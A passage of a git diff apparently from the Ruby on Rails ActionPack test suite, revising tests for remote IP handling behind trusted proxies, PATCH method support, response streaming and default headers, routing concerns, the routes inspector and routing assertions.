+  test "remote ip when the remote ip middleware returns nil" do
+    request = stub_request 'REMOTE_ADDR' => '127.0.0.1'
+    assert_equal '127.0.0.1', request.remote_ip
+  end
+
+  test "remote ip with user specified trusted proxies String" do
+    @trusted_proxies = "67.205.106.73"
+
+    request = stub_request 'REMOTE_ADDR' => '3.4.5.6',
+                           'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
     assert_equal '3.4.5.6', request.remote_ip
 
     request = stub_request 'REMOTE_ADDR' => '172.16.0.1,67.205.106.73',
-                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+                           'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
+    assert_equal '172.16.0.1', request.remote_ip
+
+    request = stub_request 'REMOTE_ADDR' => '67.205.106.73,3.4.5.6',
+                           'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
     assert_equal '3.4.5.6', request.remote_ip
 
-    request = stub_request 'REMOTE_ADDR' => '67.205.106.73,172.16.0.1',
-                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,67.205.106.73'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6, 9.9.9.9, 10.0.0.1, 67.205.106.73'
     assert_equal '3.4.5.6', request.remote_ip
+  end
 
-    request = stub_request 'REMOTE_ADDR' => '67.205.106.74,172.16.0.1',
-                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
-    assert_equal '67.205.106.74', request.remote_ip
+  test "remote ip v6 with user specified trusted proxies String" do
+    @trusted_proxies = 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
 
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,67.205.106.73'
-    assert_equal 'unknown', request.remote_ip
+    request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+                           'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+    request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+                           'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+    request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1',
+                           'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+    assert_equal nil, request.remote_ip
+  end
+
+  test "remote ip with user specified trusted proxies Regexp" do
+    @trusted_proxies = /^67\.205\.106\.73$/i
 
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 67.205.106.73'
+    request = stub_request 'REMOTE_ADDR' => '67.205.106.73',
+                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
     assert_equal '3.4.5.6', request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '67.205.106.73, 10.0.0.1, 9.9.9.9, 3.4.5.6'
+    assert_equal nil, request.remote_ip
+  end
+
+  test "remote ip v6 with user specified trusted proxies Regexp" do
+    @trusted_proxies = /^fe80:0000:0000:0000:0202:b3ff:fe1e:8329$/i
+
+    request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+                           'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329, 2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+    assert_equal nil, request.remote_ip
   end
 
   test "domains" do
@@ -309,14 +419,14 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "String request methods" do
-    [:get, :post, :put, :delete].each do |method|
+    [:get, :post, :patch, :put, :delete].each do |method|
       request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
       assert_equal method.to_s.upcase, request.method
     end
   end
 
   test "Symbol forms of request methods via method_symbol" do
-    [:get, :post, :put, :delete].each do |method|
+    [:get, :post, :patch, :put, :delete].each do |method|
       request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
       assert_equal method, request.method_symbol
     end
@@ -330,7 +440,7 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "allow method hacking on post" do
-    %w(GET OPTIONS PUT POST DELETE).each do |method|
+    %w(GET OPTIONS PATCH PUT POST DELETE).each do |method|
       request = stub_request "REQUEST_METHOD" => method.to_s.upcase
       assert_equal(method == "HEAD" ? "GET" : method, request.method)
     end
@@ -344,19 +454,18 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "restrict method hacking" do
-    [:get, :put, :delete].each do |method|
+    [:get, :patch, :put, :delete].each do |method|
       request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
         'action_dispatch.request.request_parameters' => { :_method => 'put' }
       assert_equal method.to_s.upcase, request.method
     end
   end
 
-  test "head masquerading as get" do
-    request = stub_request 'REQUEST_METHOD' => 'GET', "rack.methodoverride.original_method" => "HEAD"
-    assert_equal "HEAD", request.method
-    assert_equal "GET",  request.request_method
-    assert request.get?
-    assert request.head?
+  test "post masquerading as patch" do
+    request = stub_request 'REQUEST_METHOD' => 'PATCH', "rack.methodoverride.original_method" => "POST"
+    assert_equal "POST", request.method
+    assert_equal "PATCH",  request.request_method
+    assert request.patch?
   end
 
   test "post masquerading as put" do
@@ -444,7 +553,7 @@ class RequestTest < ActiveSupport::TestCase
     begin
       request = stub_request(mock_rack_env)
       request.parameters
-    rescue TypeError
+    rescue ActionController::BadRequest
       # rack will raise a TypeError when parsing this query string
     end
     assert_equal({}, request.parameters)
@@ -613,6 +722,30 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal "/authenticate?secret", path
   end
 
+  test "original_fullpath returns ORIGINAL_FULLPATH" do
+    request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
+
+    path = request.original_fullpath
+    assert_equal "/foo?bar", path
+  end
+
+  test "original_url returns url built using ORIGINAL_FULLPATH" do
+    request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
+                           'HTTP_HOST'         => "example.org",
+                           'rack.url_scheme'   => "http")
+
+    url = request.original_url
+    assert_equal "http://example.org/foo?bar", url
+  end
+
+  test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
+    request = stub_request('PATH_INFO'    => "/foo",
+                           'QUERY_STRING' => "bar")
+
+    path = request.original_fullpath
+    assert_equal "/foo?bar", path
+  end
+
 protected
 
   def stub_request(env = {})
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 5abbaf74fe..4d699bd739 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -5,6 +5,41 @@ class ResponseTest < ActiveSupport::TestCase
     @response = ActionDispatch::Response.new
   end
 
+  def test_can_wait_until_commit
+    t = Thread.new {
+      @response.await_commit
+    }
+    @response.commit!
+    assert @response.committed?
+    assert t.join(0.5)
+  end
+
+  def test_stream_close
+    @response.stream.close
+    assert @response.stream.closed?
+  end
+
+  def test_stream_write
+    @response.stream.write "foo"
+    @response.stream.close
+    assert_equal "foo", @response.body
+  end
+
+  def test_write_after_close
+    @response.stream.close
+
+    e = assert_raises(IOError) do
+      @response.stream.write "omg"
+    end
+    assert_equal "closed stream", e.message
+  end
+
+  def test_response_body_encoding
+    body = ["hello".encode('utf-8')]
+    response = ActionDispatch::Response.new 200, {}, body
+    assert_equal Encoding::UTF_8, response.body.encoding
+  end
+
   test "simple output" do
     @response.body = "Hello, World!"
 
@@ -130,6 +165,46 @@ class ResponseTest < ActiveSupport::TestCase
 
     assert_equal('application/xml; charset=utf-16', resp.headers['Content-Type'])
   end
+
+  test "read content type without charset" do
+    original = ActionDispatch::Response.default_charset
+    begin
+      ActionDispatch::Response.default_charset = 'utf-16'
+      resp = ActionDispatch::Response.new(200, { "Content-Type" => "text/xml" })
+      assert_equal('utf-16', resp.charset)
+    ensure
+      ActionDispatch::Response.default_charset = original
+    end
+  end
+
+  test "read x_frame_options, x_content_type_options and x_xss_protection" do
+    ActionDispatch::Response.default_headers = {
+      'X-Frame-Options' => 'DENY',
+      'X-Content-Type-Options' => 'nosniff',
+      'X-XSS-Protection' => '1;'
+    }
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.body = 'Hello'
+    }
+    resp.to_a
+
+    assert_equal('DENY', resp.headers['X-Frame-Options'])
+    assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
+    assert_equal('1;', resp.headers['X-XSS-Protection'])
+  end  
+
+  test "read custom default_header" do
+    ActionDispatch::Response.default_headers = {
+      'X-XX-XXXX' => 'Here is my phone number'
+    }
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.body = 'Hello'
+    }
+    resp.to_a
+    
+    assert_equal('Here is my phone number', resp.headers['X-XX-XXXX'])
+  end  
+
 end
 
 class ResponseIntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
new file mode 100644
index 0000000000..21da3bd77a
--- /dev/null
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -0,0 +1,82 @@
+require 'abstract_unit'
+
+class RoutingConcernsTest < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      concern :commentable do
+        resources :comments
+      end
+
+      concern :image_attachable do
+        resources :images, only: :index
+      end
+
+      resources :posts, concerns: [:commentable, :image_attachable] do
+        resource :video, concerns: :commentable
+      end
+
+      resource :picture, concerns: :commentable do
+        resources :posts, concerns: :commentable
+      end
+
+      scope "/videos" do
+        concerns :commentable
+      end
+    end
+  end
+
+  include Routes.url_helpers
+  def app; Routes end
+
+  def test_accessing_concern_from_resources
+    get "/posts/1/comments"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/comments", post_comments_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_resource
+    get "/picture/comments"
+    assert_equal "200", @response.code
+    assert_equal "/picture/comments", picture_comments_path
+  end
+
+  def test_accessing_concern_from_nested_resource
+    get "/posts/1/video/comments"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/video/comments", post_video_comments_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_nested_resources
+    get "/picture/posts/1/comments"
+    assert_equal "200", @response.code
+    assert_equal "/picture/posts/1/comments", picture_post_comments_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_resources_with_more_than_one_concern
+    get "/posts/1/images"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/images", post_images_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_resources_using_only_option
+    get "/posts/1/image/1"
+    assert_equal "404", @response.code
+  end
+
+  def test_accessing_concern_from_a_scope
+    get "/videos/comments"
+    assert_equal "200", @response.code
+  end
+
+  def test_with_an_invalid_concern_name
+    e = assert_raise ArgumentError do
+      ActionDispatch::Routing::RouteSet.new.tap do |app|
+        app.draw do
+          resources :posts, concerns: :foo
+        end
+      end
+    end
+
+    assert_equal "No concern named foo was found!", e.message
+  end
+end
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
new file mode 100644
index 0000000000..97fc4f3e4b
--- /dev/null
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -0,0 +1,170 @@
+require 'minitest/autorun'
+require 'action_controller'
+require 'rails/engine'
+require 'action_dispatch/routing/inspector'
+
+module ActionDispatch
+  module Routing
+    class RoutesInspectorTest < ActiveSupport::TestCase
+      def setup
+        @set = ActionDispatch::Routing::RouteSet.new
+        @inspector = ActionDispatch::Routing::RoutesInspector.new
+        app = ActiveSupport::OrderedOptions.new
+        app.config = ActiveSupport::OrderedOptions.new
+        app.config.assets = ActiveSupport::OrderedOptions.new
+        app.config.assets.prefix = '/sprockets'
+        Rails.stubs(:application).returns(app)
+        Rails.stubs(:env).returns("development")
+      end
+
+      def draw(&block)
+        @set.draw(&block)
+        @inspector.format(@set.routes)
+      end
+
+      def test_displaying_routes_for_engines
+        engine = Class.new(Rails::Engine) do
+          def self.to_s
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+          get '/cart', :to => 'cart#show'
+        end
+
+        output = draw do
+          get '/custom/assets', :to => 'custom_assets#show'
+          mount engine => "/blog", :as => "blog"
+        end
+
+        expected = [
+          "custom_assets GET /custom/assets(.:format) custom_assets#show",
+          "         blog     /blog                    Blog::Engine",
+          "\nRoutes for Blog::Engine:",
+          "cart GET /cart(.:format) cart#show"
+        ]
+        assert_equal expected, output
+      end
+
+      def test_cart_inspect
+        output = draw do
+          get '/cart', :to => 'cart#show'
+        end
+        assert_equal ["cart GET /cart(.:format) cart#show"], output
+      end
+
+      def test_inspect_shows_custom_assets
+        output = draw do
+          get '/custom/assets', :to => 'custom_assets#show'
+        end
+        assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output
+      end
+
+      def test_inspect_routes_shows_resources_route
+        output = draw do
+          resources :articles
+        end
+        expected = [
+          "    articles GET    /articles(.:format)          articles#index",
+          "             POST   /articles(.:format)          articles#create",
+          " new_article GET    /articles/new(.:format)      articles#new",
+          "edit_article GET    /articles/:id/edit(.:format) articles#edit",
+          "     article GET    /articles/:id(.:format)      articles#show",
+          "             PATCH  /articles/:id(.:format)      articles#update",
+          "             PUT    /articles/:id(.:format)      articles#update",
+          "             DELETE /articles/:id(.:format)      articles#destroy" ]
+        assert_equal expected, output
+      end
+
+      def test_inspect_routes_shows_root_route
+        output = draw do
+          root :to => 'pages#main'
+        end
+        assert_equal ["root GET / pages#main"], output
+      end
+
+      def test_inspect_routes_shows_dynamic_action_route
+        output = draw do
+          get 'api/:action' => 'api'
+        end
+        assert_equal [" GET /api/:action(.:format) api#:action"], output
+      end
+
+      def test_inspect_routes_shows_controller_and_action_only_route
+        output = draw do
+          get ':controller/:action'
+        end
+        assert_equal [" GET /:controller/:action(.:format) :controller#:action"], output
+      end
+
+      def test_inspect_routes_shows_controller_and_action_route_with_constraints
+        output = draw do
+          get ':controller(/:action(/:id))', :id => /\d+/
+        end
+        assert_equal [" GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output
+      end
+
+      def test_rake_routes_shows_route_with_defaults
+        output = draw do
+          get 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
+        end
+        assert_equal [%Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]], output
+      end
+
+      def test_rake_routes_shows_route_with_constraints
+        output = draw do
+          get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
+        end
+        assert_equal [" GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output
+      end
+
+      class RackApp
+        def self.call(env)
+        end
+      end
+
+      def test_rake_routes_shows_route_with_rack_app
+        output = draw do
+          get 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
+        end
+        assert_equal [" GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output
+      end
+
+      def test_rake_routes_shows_route_with_rack_app_nested_with_dynamic_constraints
+        constraint = Class.new do
+          def to_s
+            "( my custom constraint )"
+          end
+        end
+
+        output = draw do
+          scope :constraint => constraint.new do
+            mount RackApp => '/foo'
+          end
+        end
+
+        assert_equal ["  /foo #{RackApp.name} {:constraint=>( my custom constraint )}"], output
+      end
+
+      def test_rake_routes_dont_show_app_mounted_in_assets_prefix
+        output = draw do
+          get '/sprockets' => RackApp
+        end
+        assert_no_match(/RackApp/, output.first)
+        assert_no_match(/\/sprockets/, output.first)
+      end
+
+      def test_redirect
+        output = draw do
+          get "/foo"    => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
+          get "/bar"    => redirect(path: "/foo/bar", status: 307)
+          get "/foobar" => redirect{ "/foo/bar" }
+        end
+
+        assert_equal "   foo GET /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}", output[0]
+        assert_equal "   bar GET /bar(.:format)    redirect(307, path: /foo/bar)", output[1]
+        assert_equal "foobar GET /foobar(.:format) redirect(301)", output[2]
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/routing_assertions_test.rb b/actionpack/test/dispatch/routing_assertions_test.rb
index 9f95d82129..aea4489852 100644
--- a/actionpack/test/dispatch/routing_assertions_test.rb
+++ b/actionpack/test/dispatch/routing_assertions_test.rb
@@ -3,6 +3,7 @@ require 'controller/fake_controllers'
 
 class SecureArticlesController < ArticlesController; end
 class BlockArticlesController < ArticlesController; end
+class QueryArticlesController < ArticlesController; end
 
 class RoutingAssertionsTest < ActionController::TestCase
 
@@ -18,6 +19,10 @@ class RoutingAssertionsTest < ActionController::TestCase
       scope 'block', :constraints => lambda { |r| r.ssl? } do
         resources :articles, :controller => 'block_articles'
       end
+
+      scope 'query', :constraints => lambda { |r| r.params[:use_query] == 'true' } do
+        resources :articles, :controller => 'query_articles'
+      end
     end
   end
 
@@ -42,26 +47,33 @@ class RoutingAssertionsTest < ActionController::TestCase
   def test_assert_recognizes_with_extras
     assert_recognizes({ :controller => 'articles', :action => 'index', :page => '1' }, '/articles', { :page => '1' })
   end
- 
+
   def test_assert_recognizes_with_method
     assert_recognizes({ :controller => 'articles', :action => 'create' }, { :path => '/articles', :method => :post })
     assert_recognizes({ :controller => 'articles', :action => 'update', :id => '1' }, { :path => '/articles/1', :method => :put })
   end
 
   def test_assert_recognizes_with_hash_constraint
-    assert_raise(ActionController::RoutingError) do
+    assert_raise(Assertion) do
       assert_recognizes({ :controller => 'secure_articles', :action => 'index' }, 'http://test.host/secure/articles')
     end
-    assert_recognizes({ :controller => 'secure_articles', :action => 'index' }, 'https://test.host/secure/articles')
+    assert_recognizes({ :controller => 'secure_articles', :action => 'index', :protocol => 'https://' }, 'https://test.host/secure/articles')
   end
 
   def test_assert_recognizes_with_block_constraint
-    assert_raise(ActionController::RoutingError) do
+    assert_raise(Assertion) do
       assert_recognizes({ :controller => 'block_articles', :action => 'index' }, 'http://test.host/block/articles')
     end
     assert_recognizes({ :controller => 'block_articles', :action => 'index' }, 'https://test.host/block/articles')
   end
 
+  def test_assert_recognizes_with_query_constraint
+    assert_raise(Assertion) do
+      assert_recognizes({ :controller => 'query_articles', :action => 'index', :use_query => 'false' }, '/query/articles', { :use_query => 'false' })
+    end
+    assert_recognizes({ :controller => 'query_articles', :action => 'index', :use_query => 'true' }, '/query/articles', { :use_query => 'true' })
+  end
+
   def test_assert_routing
     assert_routing('/articles', :controller => 'articles', :action => 'index')
   end
@@ -75,14 +87,14 @@ class RoutingAssertionsTest < ActionController::TestCase
   end
 
   def test_assert_routing_with_hash_constraint
-    assert_raise(ActionController::RoutingError) do
+    assert_raise(Assertion) do
       assert_routing('http://test.host/secure/articles', { :controller => 'secure_articles', :action => 'index' })
     end
-    assert_routing('https://test.host/secure/articles', { :controller => 'secure_articles', :action => 'index' })
+    assert_routing('https://test.host/secure/articles', { :controller => 'secure_articles', :action => 'index', :protocol => 'https://' })
   end
 
   def test_assert_routing_with_block_constraint
-    assert_raise(ActionController::RoutingError) do
+    assert_raise(Assertion) do
       assert_routing('http://test.host/block/articles', { :controller => 'block_articles', :action => 'index' })
     end
     assert_routing('https://test.host/block/articles', { :controller => 'block_articles', :action => 'index' })
@@ -95,7 +107,7 @@ class RoutingAssertionsTest < ActionController::TestCase
       end
 
       assert_routing('/artikel', :controller => 'articles', :action => 'index')
-      assert_raise(ActionController::RoutingError) do
+      assert_raise(Assertion) do
         assert_routing('/articles', { :controller => 'articles', :action => 'index' })
       end
     end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index cf22731823..b029131ad8 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -1,7 +1,7 @@
+# encoding: UTF-8
 require 'erb'
 require 'abstract_unit'
 require 'controller/fake_controllers'
-require 'active_support/core_ext/object/inclusion'
 
 class TestRoutingMapper < ActionDispatch::IntegrationTest
   SprocketsApp = lambda { |env|
@@ -57,45 +57,46 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         get  "remove", :action => :destroy, :as => :remove
       end
 
-      match 'account/logout' => redirect("/logout"), :as => :logout_redirect
-      match 'account/login', :to => redirect("/login")
-      match 'secure', :to => redirect("/secure/login")
+      get 'account/logout' => redirect("/logout"), :as => :logout_redirect
+      get 'account/login', :to => redirect("/login")
+      get 'secure', :to => redirect("/secure/login")
 
-      match 'mobile', :to => redirect(:subdomain => 'mobile')
-      match 'documentation', :to => redirect(:domain => 'example-documentation.com', :path => '')
-      match 'new_documentation', :to => redirect(:path => '/documentation/new')
-      match 'super_new_documentation', :to => redirect(:host => 'super-docs.com')
+      get 'mobile', :to => redirect(:subdomain => 'mobile')
+      get 'documentation', :to => redirect(:domain => 'example-documentation.com', :path => '')
+      get 'new_documentation', :to => redirect(:path => '/documentation/new')
+      get 'super_new_documentation', :to => redirect(:host => 'super-docs.com')
 
-      match 'stores/:name',        :to => redirect(:subdomain => 'stores', :path => '/%{name}')
-      match 'stores/:name(*rest)', :to => redirect(:subdomain => 'stores', :path => '/%{name}%{rest}')
+      get 'stores/:name',        :to => redirect(:subdomain => 'stores', :path => '/%{name}')
+      get 'stores/:name(*rest)', :to => redirect(:subdomain => 'stores', :path => '/%{name}%{rest}')
 
-      match 'youtube_favorites/:youtube_id/:name', :to => redirect(YoutubeFavoritesRedirector)
+      get 'youtube_favorites/:youtube_id/:name', :to => redirect(YoutubeFavoritesRedirector)
 
       constraints(lambda { |req| true }) do
-        match 'account/overview'
+        get 'account/overview'
       end
 
-      match '/account/nested/overview'
-      match 'sign_in' => "sessions#new"
+      get '/account/nested/overview'
+      get 'sign_in' => "sessions#new"
 
-      match 'account/modulo/:name', :to => redirect("/%{name}s")
-      match 'account/proc/:name', :to => redirect {|params| "/#{params[:name].pluralize}" }
-      match 'account/proc_req' => redirect {|params, req| "/#{req.method}" }
+      get 'account/modulo/:name', :to => redirect("/%{name}s")
+      get 'account/proc/:name', :to => redirect {|params, req| "/#{params[:name].pluralize}" }
+      get 'account/proc_req' => redirect {|params, req| "/#{req.method}" }
 
-      match 'account/google' => redirect('http://www.google.com/', :status => 302)
+      get 'account/google' => redirect('http://www.google.com/', :status => 302)
 
       match 'openid/login', :via => [:get, :post], :to => "openid#login"
 
       controller(:global) do
         get   'global/hide_notice'
-        match 'global/export',      :to => :export, :as => :export_request
-        match '/export/:id/:file',  :to => :export, :as => :export_download, :constraints => { :file => /.*/ }
-        match 'global/:action'
+        get 'global/export',      :to => :export, :as => :export_request
+        get '/export/:id/:file',  :to => :export, :as => :export_download, :constraints => { :file => /.*/ }
+        get 'global/:action'
       end
 
-      match "/local/:action", :controller => "local"
+      get "/local/:action", :controller => "local"
 
-      match "/projects/status(.:format)"
+      get "/projects/status(.:format)"
+      get "/404", :to => lambda { |env| [404, {"Content-Type" => "text/plain"}, ["NOT FOUND"]] }
 
       constraints(:ip => /192\.168\.1\.\d\d\d/) do
         get 'admin' => "queenbee#index"
@@ -169,6 +170,8 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
             post :preview, :on => :collection
           end
         end
+
+        post 'new', :action => 'new', :on => :collection, :as => :new
       end
 
       resources :replies do
@@ -280,25 +283,25 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         end
       end
 
-      match 'sprockets.js' => ::TestRoutingMapper::SprocketsApp
+      get 'sprockets.js' => ::TestRoutingMapper::SprocketsApp
 
-      match 'people/:id/update', :to => 'people#update', :as => :update_person
-      match '/projects/:project_id/people/:id/update', :to => 'people#update', :as => :update_project_person
+      get 'people/:id/update', :to => 'people#update', :as => :update_person
+      get '/projects/:project_id/people/:id/update', :to => 'people#update', :as => :update_project_person
 
       # misc
-      match 'articles/:year/:month/:day/:title', :to => "articles#show", :as => :article
+      get 'articles/:year/:month/:day/:title', :to => "articles#show", :as => :article
 
       # default params
-      match 'inline_pages/(:id)', :to => 'pages#show', :id => 'home'
-      match 'default_pages/(:id)', :to => 'pages#show', :defaults => { :id => 'home' }
+      get 'inline_pages/(:id)', :to => 'pages#show', :id => 'home'
+      get 'default_pages/(:id)', :to => 'pages#show', :defaults => { :id => 'home' }
       defaults :id => 'home' do
-        match 'scoped_pages/(:id)', :to => 'pages#show'
+        get 'scoped_pages/(:id)', :to => 'pages#show'
       end
 
       namespace :account do
-        match 'shorthand'
-        match 'description', :to => :description, :as => "description"
-        match ':action/callback', :action => /twitter|github/, :to => "callbacks", :as => :callback
+        get 'shorthand'
+        get 'description', :to => :description, :as => "description"
+        get ':action/callback', :action => /twitter|github/, :to => "callbacks", :as => :callback
         resource :subscription, :credit, :credit_card
 
         root :to => "account#index"
@@ -321,7 +324,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       controller :articles do
         scope '/articles', :as => 'article' do
           scope :path => '/:title', :title => /[a-z]+/, :as => :with_title do
-            match '/:id', :to => :with_id, :as => ""
+            get '/:id', :to => :with_id, :as => ""
           end
         end
       end
@@ -330,7 +333,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         resources :rooms
       end
 
-      match '/info' => 'projects#info', :as => 'info'
+      get '/info' => 'projects#info', :as => 'info'
 
       namespace :admin do
         scope '(:locale)', :locale => /en|pl/ do
@@ -364,7 +367,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
 
       scope :path => 'api' do
         resource :me
-        match '/' => 'mes#index'
+        get '/' => 'mes#index'
       end
 
       get "(/:username)/followers" => "followers#index"
@@ -377,7 +380,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         end
       end
 
-      match "whatever/:controller(/:action(/:id))", :id => /\d+/
+      get "whatever/:controller(/:action(/:id))", :id => /\d+/
 
       resource :profile do
         get :settings
@@ -410,7 +413,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
 
       namespace :private do
         root :to => redirect('/private/index')
-        match "index", :to => 'private#index'
+        get "index", :to => 'private#index'
       end
 
       scope :only => [:index, :show] do
@@ -478,6 +481,17 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         get :preview, :on => :member
       end
 
+      resources :profiles, :param => :username, :username => /[a-z]+/ do
+        get :details, :on => :member
+        resources :messages
+      end
+
+      resources :orders do
+        constraints :download => /[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}/ do
+          resources :downloads, :param => :download, :shallow => true
+        end
+      end
+
       scope :as => "routes" do
         get "/c/:id", :as => :collision, :to => "collision#show"
         get "/collision", :to => "collision#show"
@@ -487,7 +501,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         get "/forced_collision", :as => :forced_collision, :to => "forced_collision#show"
       end
 
-      match '/purchases/:token/:filename',
+      get '/purchases/:token/:filename',
         :to => 'purchases#fetch',
         :token => /[[:alnum:]]{10}/,
         :filename => /(.+)/,
@@ -497,19 +511,19 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         resources :todos, :id => /\d+/
       end
 
-      scope '/countries/:country', :constraints => lambda { |params, req| params[:country].in?(["all", "France"]) } do
-        match '/',       :to => 'countries#index'
-        match '/cities', :to => 'countries#cities'
+      scope '/countries/:country', :constraints => lambda { |params, req| %w(all France).include?(params[:country]) } do
+        get '/',       :to => 'countries#index'
+        get '/cities', :to => 'countries#cities'
       end
 
-      match '/countries/:country/(*other)', :to => redirect{ |params, req| params[:other] ? "/countries/all/#{params[:other]}" : '/countries/all' }
+      get '/countries/:country/(*other)', :to => redirect{ |params, req| params[:other] ? "/countries/all/#{params[:other]}" : '/countries/all' }
 
-      match '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/
+      get '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/
 
       scope '/italians' do
-        match '/writers', :to => 'italians#writers', :constraints => ::TestRoutingMapper::IpRestrictor
-        match '/sculptors', :to => 'italians#sculptors'
-        match '/painters/:painter', :to => 'italians#painters', :constraints => {:painter => /michelangelo/}
+        get '/writers', :to => 'italians#writers', :constraints => ::TestRoutingMapper::IpRestrictor
+        get '/sculptors', :to => 'italians#sculptors'
+        get '/painters/:painter', :to => 'italians#painters', :constraints => {:painter => /michelangelo/}
       end
     end
   end
@@ -528,6 +542,10 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         "GET"
       end
 
+      def ip
+        "127.0.0.1"
+      end
+
       def x_header
         @env["HTTP_X_HEADER"] || ""
       end
@@ -578,52 +596,42 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
   include Routes.url_helpers
 
   def test_logout
-    with_test_routes do
-      delete '/logout'
-      assert_equal 'sessions#destroy', @response.body
+    delete '/logout'
+    assert_equal 'sessions#destroy', @response.body
 
-      assert_equal '/logout', logout_path
-      assert_equal '/logout', url_for(:controller => 'sessions', :action => 'destroy', :only_path => true)
-    end
